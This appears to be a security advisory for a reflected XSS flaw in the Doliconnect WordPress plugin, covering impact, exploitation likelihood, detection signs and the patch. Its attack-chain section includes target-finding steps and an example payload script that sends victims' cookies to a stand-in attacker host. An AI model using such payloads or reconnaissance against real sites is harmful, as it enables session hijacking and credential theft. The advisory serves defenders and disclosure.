CVE-2025-53574: 
WordPress vulnerability analysis and mitigation

CVE-2025-53574 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Doliconnect by ptibogxiv, classified under CWE-79. It affects all versions of the plugin up to and including 9.3.2, and was published on November 6, 2025, with the vulnerability itself discovered and reported by Nguyen Xuan Chien on July 24, 2025. The patched version is 9.4.2, released by August 23, 2025. It carries a CVSS v3.1 base score of 7.1 (High/Medium) (Patchstack, Red Hat CVE).

The vulnerability is rooted in improper neutralization of user-supplied input during web page generation (CWE-79), specifically enabling Reflected XSS. An unauthenticated attacker can craft a malicious URL containing a JavaScript payload that, when clicked by a victim (such as a logged-in WordPress administrator), causes the plugin to reflect the unsanitized input back in the HTTP response and execute it in the victim's browser. The attack vector is network-based, requires no privileges, but does require user interaction (the victim must follow a crafted link). The changed scope indicates the injected script can affect resources beyond the vulnerable component itself (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious content. The changed scope means the impact can extend beyond the plugin itself to the broader WordPress environment, including confidentiality, integrity, and limited availability impacts (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-53574. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress plugins at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Doliconnect plugin version 9.3.2 or earlier using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/doliconnect).
2. Identify vulnerable parameter: Analyze the plugin's request handling to locate input parameters that are reflected in the HTTP response without proper sanitization or encoding.
3. Craft malicious URL: Construct a URL targeting the vulnerable endpoint with a reflected XSS payload embedded in the vulnerable parameter, e.g., https://target.com/wp-admin/...?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a privileged WordPress user (e.g., administrator) via phishing email, social engineering, or by embedding it in a comment or message.
5. Achieve objective: When the victim clicks the link and their browser loads the page, the injected script executes in their session — enabling cookie theft, session hijacking, or unauthorized administrative actions on the WordPress site (Patchstack).

• Network: HTTP GET or POST requests to WordPress pages involving the Doliconnect plugin with URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters.
• Logs: WordPress or web server access logs showing requests to Doliconnect plugin endpoints with anomalous parameter values containing HTML/JavaScript payloads; unusual referrer headers indicating phishing delivery.
• Browser/Session: Reports from users of unexpected redirects, pop-ups, or session invalidation after clicking links related to the WordPress site.
• File System: Unexpected new admin accounts or modified WordPress configuration files, which may indicate post-exploitation activity following successful session hijacking.

The primary remediation is to update the Doliconnect plugin to version 9.4.2 or later, which resolves the vulnerability. Site administrators unable to update immediately should consider disabling the plugin until patching is feasible, or consult their hosting provider. Patchstack users benefit from a virtual patching/mitigation rule that blocks exploit attempts automatically until the plugin is updated (Patchstack).

The vulnerability was discovered by security researcher Nguyen Xuan Chien and responsibly disclosed through Patchstack's Vulnerability Disclosure Program (VDP). Patchstack classified it as medium priority and issued a virtual mitigation rule for its users. No significant broader media coverage or notable social media discussion has been identified for this CVE (Patchstack).